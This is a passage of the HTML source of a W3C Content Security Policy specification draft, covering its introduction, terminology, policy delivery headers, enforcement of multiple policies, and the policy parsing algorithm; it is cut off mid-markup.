class=secno></span> Informative References</a></ul>\n\t<li><a href=#index><span class=secno></span> Index</a></ul></div>\n\n\n\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=1 id=intro><span class=secno>1 </span><span class=content>Introduction</span><a class=self-link href=#intro></a></h2>\n\n<p><em>This section is not normative.</em></p>\n\n<p>This document defines Content Security Policy, a mechanism web applications\n  can use to mitigate a broad class of content injection vulnerabilities, such\n  as cross-site scripting (XSS). Content Security Policy is a declarative policy\n  that lets the authors (or server administrators) of a web application inform\n  the client about the sources from which the application expects to load\n  resources.</p>\n\n<p>To mitigate XSS attacks, for example, a web application can declare that it\n  only expects to load script from specific, trusted sources. This declaration\n  allows the client to detect and block malicious scripts injected into the\n  application by an attacker.</p>\n\n<p>Content Security Policy (CSP) is not intended as a first line of defense\n  against content injection vulnerabilities. Instead, CSP is best used as\n  defense-in-depth, to reduce the harm caused by content injection attacks. As\n  a first line of defense against content injection, server operators should\n  validate their input and encode their output.</p>\n\n<p>There is often a non-trivial amount of work required to apply CSP to an\n  existing web application. To reap the greatest benefit, authors will need to\n  move all inline script and style out-of-line, for example into external\n  scripts, because the user agent cannot determine whether an inline script\n  was injected by an attacker.</p>\n\n<p>To take advantage of CSP, a web application opts into using CSP by supplying a\n  <code>Content-Security-Policy</code> HTTP header. Such policies apply to the\n  current resource representation only. To supply a policy for an entire site,\n  the server needs to supply a policy with each resource representation.</p>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=2 id=key-concepts><span class=secno>2 </span><span class=content>Key Concepts and Terminology</span><a class=self-link href=#key-concepts></a></h2>\n\n<p>This section defines several terms used throughout the document.</p>\n\n<p>The term <dfn data-dfn-type=dfn data-export=\"\" id=security-policy title=\"security policy|policy\">security policy<a class=self-link href=#security-policy></a></dfn>\n  refers to either:</p>\n\n  <ol>\n    <li>a set of security preferences for restrictions within which\n    the content can operate, or</li>\n    <li>a fragment of text that codifies these preferences.</li>\n  </ol>\n\n<p>The security policies defined by this document are applied by a\n  user agent on a <em>per-resource representation basis</em>.\n  Specifically, when a user agent receives a policy along with the\n  representation of a given resource, that policy applies to <em>that\n  resource representation only</em>. This document often refers to\n  that resource representation as the <dfn data-dfn-type=dfn data-export=\"\" id=protected-resource>protected resource<a class=self-link href=#protected-resource></a></dfn>.</p>\n\n<p>A <dfn data-dfn-type=dfn data-export=\"\" id=security-policy-directive title=\"security policy directive|directive\">security policy\n  directive<a class=self-link href=#security-policy-directive></a></dfn> is a portion of a <a data-link-type=dfn href=#security-policy title=policy>policy</a> that declares the specific\n  set of restrictions for a particular resource type, or which manipulates a\n  specific aspect of a protected resource’s configuration. A server transmits\n  its security policy for a particular protected resource as a collection of\n  directives, such as <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'</code>, each of which\n  declares a specific set of restrictions for that resource as instantiated\n  by the user agent. More details are provided in the\n  <a data-section=\"\" href=#sec-directives>§7 Directives</a> section.</p>\n\n<p>A directive consists of a <dfn data-dfn-type=dfn data-noexport=\"\" id=directive-name0>directive name<a class=self-link href=#directive-name0></a></dfn>, which\n  indicates the privileges controlled by the directive, and a\n  <dfn data-dfn-type=dfn data-noexport=\"\" id=directive-value0>directive value<a class=self-link href=#directive-value0></a></dfn>, which specifies the restrictions the\n  policy imposes on those privileges.</p>\n\n  \n  The term <dfn data-dfn-type=dfn data-noexport=\"\" id=origin>origin<a class=self-link href=#origin></a></dfn> is defined in the Origin specification.\n  <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc6454 title=biblio-rfc6454>[RFC6454]</a>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=globally-unique-identifier>globally unique identifier<a class=self-link href=#globally-unique-identifier></a></dfn> is defined in section 4 of\n  the Origin specification. Note that URLs that do not use hierarchical\n  elements as naming authorities have origins which are globally unique\n  identifiers. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc6454 title=biblio-rfc6454>[RFC6454]</a></p>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=uri>URI<a class=self-link href=#uri></a></dfn> is defined in the URI specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-uri title=biblio-uri>[URI]</a></p>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=resource-representation>resource representation<a class=self-link href=#resource-representation></a></dfn> is defined\n  <a href=http://tools.ietf.org/html/rfc7231#section-3>Section 3</a>\n  of HTTP/1.1 -- Semantics and Content <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7231 title=biblio-rfc7231>[RFC7231]</a></p>\n\n<p>The terms <dfn data-dfn-type=dfn data-noexport=\"\" id=json-object>JSON object<a class=self-link href=#json-object></a></dfn> and <dfn data-dfn-type=dfn data-noexport=\"\" id=json-stringification>JSON stringification<a class=self-link href=#json-stringification></a></dfn> are\n  defined in the JSON specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc4627 title=biblio-rfc4627>[RFC4627]</a></p>\n\n<p>The <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#audio title=audio>audio</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element title=source>source</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element title=track>track</a></code>, and\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#video title=video>video</a></code> elements are defined in the HTML5\n  specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-html5>[HTML5]</a></p>\n\n<p>The terms <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#auxiliary-browsing-context title=\"auxiliary browsing contexts\">auxiliary browsing contexts</a>,\n  <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#opener-browsing-context title=\"opener browsing context\">opener browsing context</a>, and <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing contexts\">nested browsing contexts</a> are\n  defined in the HTML5 specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-html5>[HTML5]</a></p>\n\n<p>A <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> is defined in the HTML5 specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-html5>[HTML5]</a></p>\n\n<p>The <code><a class=\"production css-code\" data-link-type=at-rule href=http://www.w3.org/TR/css-fonts-3/#at-font-face-rule title=@font-face>&lt;@font-face&gt;</a></code> Cascading Style Sheets (CSS) rule is defined\n  in the CSS Fonts Module Level 3 specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-css3-fonts title=biblio-css3-fonts>[CSS3-FONTS]</a></p>\n\n<p>The <code>XMLHttpRequest</code> object is defined in the\n  <code>XMLHttpRequest</code> specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-xmlhttprequest title=biblio-xmlhttprequest>[XMLHTTPREQUEST]</a></p>\n\n<p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n  specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-websockets title=biblio-websockets>[WEBSOCKETS]</a></p>\n\n<p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n  specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-eventsource title=biblio-eventsource>[EVENTSOURCE]</a></p>\n\n<p>The Augmented Backus-Naur Form (ABNF) notation used in this document is\n  specified in RFC5234. <a data-biblio-type=normative data-link-type=biblio href=#biblio-abnf title=biblio-abnf>[ABNF]</a></p>\n\n<p>This document also uses the ABNF extension \"#rule\" as defined in\n  <a href=http://tools.ietf.org/html/rfc7230#section-7>Section 7</a>\n  of HTTP/1.1 -- Message Syntax and Routing. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7230 title=biblio-rfc7230>[RFC7230]</a></p>\n\n<p>The following core rules are included by reference, as defined in\n  <a href=http://tools.ietf.org/html/rfc5234#appendix-B.1>Appendix B.1</a>\n  of <a data-biblio-type=normative data-link-type=biblio href=#biblio-abnf title=biblio-abnf>[ABNF]</a>: <code>ALPHA</code> (letters), <code>DIGIT</code> (decimal\n  0-9), <code>WSP</code> (white space) and <code>VCHAR</code> (printing\n  characters).</p>\n\n<p><dfn data-dfn-type=dfn data-noexport=\"\" id=sha-256>SHA-256<a class=self-link href=#sha-256></a></dfn>, <dfn data-dfn-type=dfn data-noexport=\"\" id=sha-384>SHA-384<a class=self-link href=#sha-384></a></dfn>, and <dfn data-dfn-type=dfn data-noexport=\"\" id=sha-512>SHA-512<a class=self-link href=#sha-512></a></dfn> are the digest\n  algorithms <a href=http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf>defined by the NIST</a>.</p>\n\n<p>The <dfn data-dfn-type=dfn data-noexport=\"\" id=runs-a-worker>runs a worker<a class=self-link href=#runs-a-worker></a></dfn> algorithm is\n  <a href=http://www.w3.org/TR/workers/#run-a-worker>defined in the Web\n  Workers spec</a>. <a data-biblio-type=normative data-link-type=biblio href=#biblio-workers title=biblio-workers>[WORKERS]</a></p>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=callable>callable<a class=self-link href=#callable></a></dfn> refers to an object whose interface\n  has one or more <dfn data-dfn-type=dfn data-noexport=\"\" id=callers>callers<a class=self-link href=#callers></a></dfn> as defined in the <a href=http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers>Web\n  IDL</a> specification <a data-biblio-type=normative data-link-type=biblio href=#biblio-webidl title=biblio-webidl>[WEBIDL]</a>.</p>\n\n<p>An <dfn data-dfn-type=dfn data-noexport=\"\" id=http-200-response>HTTP 200 response<a class=self-link href=#http-200-response></a></dfn> is defined in\n  <a href=http://tools.ietf.org/html/rfc7231#section-6.3.1>Section 6.3.1</a>\n  of HTTP/1.1 -- Semantics and Content <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7231 title=biblio-rfc7231>[RFC7231]</a></p>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=3 id=policy-delivery><span class=secno>3 </span><span class=content>Policy Delivery</span><a class=self-link href=#policy-delivery></a></h2>\n\n<p>The server delivers the policy to the user agent via an HTTP\n  response header or an HTML <a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a> element. Servers are\n  informed that requests are subject to a policy via an HTTP request\n  header.</p>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=3.1 id=content-security-policy-header-field><span class=secno>3.1 </span><span class=content>\n      <code>Content-Security-Policy</code> Header Field\n    </span><a class=self-link href=#content-security-policy-header-field></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-export=\"\" id=content-security-policy>Content-Security-Policy<a class=self-link href=#content-security-policy></a></dfn></code> header field is\n    the preferred mechanism for delivering a policy.</p>\n\n    <pre>\"Content-Security-Policy:\" 1#<a data-link-type=dfn href=#policy-token title=policy-token>policy-token</a>\n</pre>\n\n<p>For example:</p>\n\n    <pre class=example>Content-Security-Policy: script-src 'self'\n</pre>\n\n<p>A server MAY send more than one HTTP header field named\n    <code>Content-Security-Policy</code> with a given resource\n    representation.</p>\n\n<p>A server MAY send different <code>Content-Security-Policy</code>\n    header field values with different representations of the same\n    resource or with different resources.</p>\n\n<p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy</code> header field, the user agent\n    MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a> each of the policies contained in each such\n    header field.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=3.2 id=content-security-policy-report-only-header-field><span class=secno>3.2 </span><span class=content>\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span><a class=self-link href=#content-security-policy-report-only-header-field></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-export=\"\" id=content-security-policy-report-only>Content-Security-Policy-Report-Only<a class=self-link href=#content-security-policy-report-only></a></dfn></code>\n    header field lets servers experiment with policies by monitoring (rather\n    than enforcing) a policy.</p>\n\n    <pre>\"Content-Security-Policy-Report-Only:\" 1#<a data-link-type=dfn href=#policy-token title=policy-token>policy-token</a>\n</pre>\n\n<p>For example, server operators might wish to develop their\n    security policy iteratively. The operators can deploy a report-only\n    policy based on their best estimate of how their site behaves:</p>\n\n    <pre class=example>Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report-endpoint/\n</pre>\n\n<p>If their site violates this policy the user agent will <a data-link-type=dfn href=#send-violation-reports title=\"send violation reports\">send violation\n    reports</a> to the URI specified in the policy’s <a data-link-type=dfn href=#report-uri title=report-uri>report-uri</a>\n    directive, but allow the violating resources to load regardless. Once a site\n    has confidence that the policy is appropriate, they can start enforcing the\n    policy using the <code><a data-link-type=dfn href=#content-security-policy title=content-security-policy>Content-Security-Policy</a></code> header field.</p>\n\n<p>A server MAY send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only</code> with a given\n    resource representation.</p>\n\n<p>A server MAY send different\n    <code>Content-Security-Policy-Report-Only</code> header field values\n    with different representations of the same resource or with different\n    resources.</p>\n\n<p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy-Report-Only</code> header field, the\n    user agent MUST <a data-link-type=dfn href=#monitor title=monitor>monitor</a> each of the policies\n    contained in each such header field.</p>\n\n<p class=note>Note: The <code><a data-link-type=dfn href=#content-security-policy-report-only title=content-security-policy-report-only>Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=3.3 id=delivery-html-meta-element><span class=secno>3.3 </span><span class=content>\n      HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> Element\n    </span><a class=self-link href=#delivery-html-meta-element></a></h3>\n\n<p>The server MAY supply a policy in an HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element with an <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv title=http-equiv>http-equiv</a></code> attribute that\n    is a case insensitive match for the string\n    \"<code>Content-Security-Policy</code>\". For example:</p>\n\n    <pre class=example>&lt;meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'\"&gt;\n</pre>\n\n    \n    Add the following entry to the\n    <a href=http://www.w3.org/TR/html5/document-metadata.html#pragma-directives>pragma directives</a>\n    for the <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element:\n\n    <dl>\n      <dt>\n        Content security policy\n        (<code>http-equiv=\"content-security-policy\"</code>)\n      </dt>\n      <dd>\n        <ol>\n          <li>If the Document’s <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-head-element title=head>head</a></code> element is\n          not an ancestor of the <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element, abort\n          these steps.</li>\n\n          <li>If the <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element lacks a\n          <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content title=content>content</a></code> attribute, abort these\n          steps.</li>\n\n          <li>Let <var>policy</var> be the value of the\n          <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content title=content>content</a></code> attribute of the\n          <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element.</li>\n\n          <li>Let <var>directive-set</var> be the result of\n          <a data-link-type=dfn href=#parse-the-policy title=\"parse the policy\">parsing <var>policy</var></a>.</li>\n\n          <li>Remove all occurrences of <code><a data-link-type=dfn href=#reflected-xss title=reflected-xss>reflected-xss</a></code>,\n          <code><a data-link-type=dfn href=#report-uri title=report-uri>report-uri</a></code>, and <code><a data-link-type=dfn href=#sandbox title=sandbox>sandbox</a></code>\n          directives from <var>directive-set</var>.</li>\n\n          <li>Enforce each of the <a data-link-type=dfn href=#security-policy-directive title=directives>directives</a> in <var>directive-set</var>,\n          as <a href=#sec-directives>defined for each directive type</a>.</li>\n        </ol>\n      </dd>\n    </dl>\n\n<p>Authors are <em>strongly encouraged</em> to place the\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element as early in the document as\n    possible to reduce the risk of content injection before a protective\n    policy can be read and enforced.</p>\n\n<p class=note>Note: A <a data-link-type=dfn href=#security-policy title=policy>policy</a> specified via a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element will be enforced along with any other policies active for the\n    protected resource, regardless of where they’re specified. The general\n    mechanism for determining the effect of enforcing multiple policies is\n    detailed in the <a data-section=\"\" href=#enforcing-multiple-policies>§3.5 Enforcing multiple policies.</a>\n    section.</p>\n\n<p class=note>Note: Modifications to the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content title=content>content</a></code>\n    attribute of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element after the\n    element has been parsed will be ignored.</p>\n\n<p class=note>Note: The <code><a data-link-type=dfn href=#content-security-policy-report-only title=content-security-policy-report-only>Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=3.4 id=ch-csp-client-hint><span class=secno>3.4 </span><span class=content>The <code>CH-CSP</code> Client Hint</span><a class=self-link href=#ch-csp-client-hint></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=ch-csp>CH-CSP<a class=self-link href=#ch-csp></a></dfn></code> header field indicates that a particular\n    request is subject to a <a data-link-type=dfn href=#security-policy title=policy>policy</a>, and its value is defined by the\n    following ABNF grammar:</p>\n\n    <pre>\"CH-CSP:\" 1#<a data-link-type=dfn href=#hint-value title=hint-value>hint-value</a>\n\n<dfn data-dfn-type=dfn data-noexport=\"\" id=hint-value>hint-value<a class=self-link href=#hint-value></a></dfn> = *WSP \"active\"\n</pre>\n\n<p>If the user agent is <a data-link-type=dfn href=#monitor title=monitoring>monitoring</a> or <a data-link-type=dfn href=#enforce title=enforcing>enforcing</a> a <a data-link-type=dfn href=#security-policy title=policy>policy</a>\n    that includes directives whose value is a <a data-link-type=dfn href=#source-list0 title=\"source list\">source list</a>, and whose\n    source list contains the  <code>'unsafe-redirect'</code> source expression,\n    then the user agent MUST send a header field named <code>CH-CSP</code>\n    along with requests for resources whose <a data-link-type=dfn href=#origin title=origin>origin</a> <em>does not</em>\n    match the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>’s origin. The value of this header MUST\n    be <code>active</code>.</p>\n\n<p>The user agent MAY choose to send this header only if the request is for a\n    resource type which the active policy would effect. That is, given a policy\n    of <code>img-src example.com 'unsafe-redirect'</code>, the user agent\n    would send <code>CH-CSP: active</code> along with requests for images, but\n    might choose not to send the header with requests for script.</p>\n\n<p class=note>Note: The central reason for including this header is that it hints to a\n    server that information about redirects might be leaked as a side-effect\n    of a page’s active policy. If this header is present, a server might decline\n    to redirect a logged-out user from <code>example.com</code> to\n    <code>accounts.example.com</code>, for example, as a malicious embedder\n    might otherwise be able to determine the user’s logged-in status.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=3.5 id=enforcing-multiple-policies><span class=secno>3.5 </span><span class=content>Enforcing multiple policies.</span><a class=self-link href=#enforcing-multiple-policies></a></h3>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The above sections note that when multiple policies are present,\n    each must be enforced or reported, according to its type. An example\n    will help clarify how that ought to work in practice. The behavior of\n    an <code>XMLHttpRequest</code> might seem unclear given a site\n    that, for whatever reason, delivered the following HTTP headers:</p>\n\n    <pre class=example>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self' http://example.com http://example.net;\n                         <a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a> 'none';\nContent-Security-Policy: <a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a> http://example.com/;\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> http://example.com/\n</pre>\n\n<p>Is a connection to <code>example.com</code> allowed or not? The\n    short answer is that the connection is not allowed. Enforcing both\n    policies means that a potential connection would have to pass through\n    both unscathed. Even though the second policy would allow this\n    connection, the first policy contains <code><a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a>\n    'none'</code>, so its enforcement blocks the connection. The impact is\n    that adding additional policies to the list of policies to enforce can\n    only further restrict the capabilities of the protected resource.</p>\n\n<p>To demonstrate that further, consider a script tag on this page.\n    The first policy would lock scripts down to <code>'self'</code>,\n    <code>http://example.com</code> and <code>http://example.net</code>\n    via the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive. The second, however,\n    would only allow script from <code>http://example.com/</code>. Script\n    will only load if it meets both policy’s criteria: in this case, the only\n    origin that can match is <code>http://example.com</code>, as both\n    policies allow it.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=3.6 id=which-policy-applies><span class=secno>3.6 </span><span class=content>Policy applicability</span><a class=self-link href=#which-policy-applies></a></h3>\n\n<p><em>This section is not normative.</em></p>\n\n<p>Policies are associated with an <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>, and\n    <a data-link-type=dfn href=#enforce title=enforce>enforced</a> or <a data-link-type=dfn href=#monitor title=monitored>monitored</a> for for that resource.\n    If a resource does not create a new execution context (for example, when\n    including a script, image, or stylesheet into a document), then any policies\n    delivered with that resource are discarded without effect. Its execution is\n    subject to the policy or policies of the including context. The following\n    table outlines examples of these relationships:</p>\n\n    <table>\n      <thead>\n        <tr>\n          <th colspan=2>Resource Type</th>\n          <th>What <a data-link-type=dfn href=#security-policy title=policy>policy</a> applies?</th>\n        <tr>\n      </thead>\n      <tbody>\n        <tr class=section>\n          <th rowspan=2>Top-level Contexts</th>\n\n          <td>HTML as a new, top-level browsing context</td>\n          <td>The policy delivered with the resource</td>\n        </tr>\n        <tr>\n          <td>SVG, as a top-level document</td>\n          <td>Policy delivered with the resource</td>\n        </tr>\n\n        <tr class=section>\n          <th rowspan=3>Embedded Contexts</th>\n\n          <td>\n            Any resource included via <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a>,\n            <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a>, or <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a>\n          </td>\n          <td>\n            The policy of the embedding resource controls <em>what</em> may be\n            embedded. The embedded resource, however, is controlled by the\n            policy delivered with the resource, or the policy of the embedding\n            resource if the embedded resource is a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique\n            identifier</a> (or a <a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-srcdoc title=srcdoc>srcdoc</a> frame).\n          </td>\n        </tr>\n        <tr>\n          <td>SVG, as an embedded document</td>\n          <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>.\n          </td>\n        </tr>\n        <tr>\n          <td>\n            JavaScript, as a Worker, Shared Worker or Service Worker\n          </td>\n          <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>\n          </td>\n        </tr>\n\n        <tr class=section>\n          <th rowspan=7>Subresources</th>\n\n          <td>SVG, inlined via <a data-link-type=element href=http://www.w3.org/TR/svg2/struct.html#elementdef-svg title=svg>svg</a></td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>SVG, as a resource document</td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>HTML via XMLHttpRequest</td>\n          <td>Policy of the context that performed the fetch</td>\n        </tr>\n        <tr>\n          <td>Image via <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a> element</td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>JavaScript via a <a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a> element</td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>SVG, via <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a></td>\n          <td>No policy; should be just as safe as JPG</td>\n        </tr>\n        <tr>\n          <td>SVG, as a WebFont</td>\n          <td>No policy; should be just as safe as WOFF</td>\n        </tr>\n      </tbody>\n    </table>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=4 id=syntax-and-algorithms><span class=secno>4 </span><span class=content>Syntax and Algorithms</span><a class=self-link href=#syntax-and-algorithms></a></h2>\n  <section>\n    <h3 class=\"heading settled heading\" data-level=4.1 id=policy-syntax><span class=secno>4.1 </span><span class=content>Policy Syntax</span><a class=self-link href=#policy-syntax></a></h3>\n\n<p>A Content Security Policy consists of a U+003B SEMICOLON\n    (<code>;</code>) delimited list of directives. Each <a data-link-type=dfn href=#security-policy-directive title=directive>directive</a>\n    consists of a <a data-link-type=dfn href=#directive-name0 title=\"directive name\">directive name</a> and (optionally) a\n    <a data-link-type=dfn href=#directive-value0 title=\"directive value\">directive value</a>, defined by the following ABNF:</p>\n\n    <pre><dfn data-dfn-type=dfn data-noexport=\"\" id=policy-token>policy-token<a class=self-link href=#policy-token></a></dfn>    = [ <a data-link-type=dfn href=#directive-token title=directive-token>directive-token</a> *( \";\" [ <a data-link-type=dfn href=#directive-token title=directive-token>directive-token</a> ] ) ]\n<dfn data-dfn-type=dfn data-noexport=\"\" id=directive-token>directive-token<a class=self-link href=#directive-token></a></dfn> = *WSP [ <a data-link-type=dfn href=#directive-name title=directive-name>directive-name</a> [ WSP <a data-link-type=dfn href=#directive-value title=directive-value>directive-value</a> ] ]\n<dfn data-dfn-type=dfn data-noexport=\"\" id=directive-name>directive-name<a class=self-link href=#directive-name></a></dfn>  = 1*( ALPHA / DIGIT / \"-\" )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=directive-value>directive-value<a class=self-link href=#directive-value></a></dfn> = *( WSP / &lt;VCHAR except \";\" and \",\"&gt; )\n</pre>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.1.1 id=policy-parsing><span class=secno>4.1.1 </span><span class=content>Parsing Policies</span><a class=self-link href=#policy-parsing></a></h4>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=parse-the-policy>parse the policy<a class=self-link href=#parse-the-policy></a></dfn> <var>policy</var>, the user agent MUST\n      use an algorithm equivalent to the following:</p>\n\n      <ol>\n        <li>Let the <var>set of directives</var> be the empty set.</li>\n\n        <li>For each non-empty token returned by\n        <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string title=\"strictly split a string\">strictly splitting</a>\n        the string <var>policy</var> on the character U+003B SEMICOLON\n        (<code>;</code>):\n          <ol>\n            <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#skip-whitespace title=\"skip whitespace\">Skip whitespace</a>.</li>\n\n            <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters title=\"collect a sequence of characters\">Collect a sequence of characters</a> that are\n            not <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#space-character title=\"space characters\">space characters</a>. The collected characters\n            are the <var>directive name</var>.</li>\n\n            <li>If there are characters remaining in <var>token</var>,\n            skip ahead exactly one character (which must be a\n            <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#space-character title=\"space character\">space character</a>).</li>\n\n            <li>The remaining characters in <var>token</var> (if any) are\n            the <var>directive value</var>.</li>\n\n            <li>If the <var>set of directives</var> already contains a\n            directive whose name is a case insensitive match for\n            <var>directive name</var>, ignore this instance of the directive\n            and continue to the next token.</li>\n\n            <li>Add a <var>directive</var> to the <var>set of\n            directives</var> with name <var>directive name</var> and value\n            <var>directive value</var>.</li>\n          </ol>\n        </li>\n\n        <li>Return the <var>set of directives</var>.\n      </ol>\n    </section>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=4.2 id=source-list-syntax><span class=secno>4.2 </span><span class=content>Source List Syntax</span><a class=self-link href=#source-list-syntax></a></h3>\n\n<p>Many CSP directives use a value consisting of a <dfn data-dfn-type=dfn data-noexport=\"\" 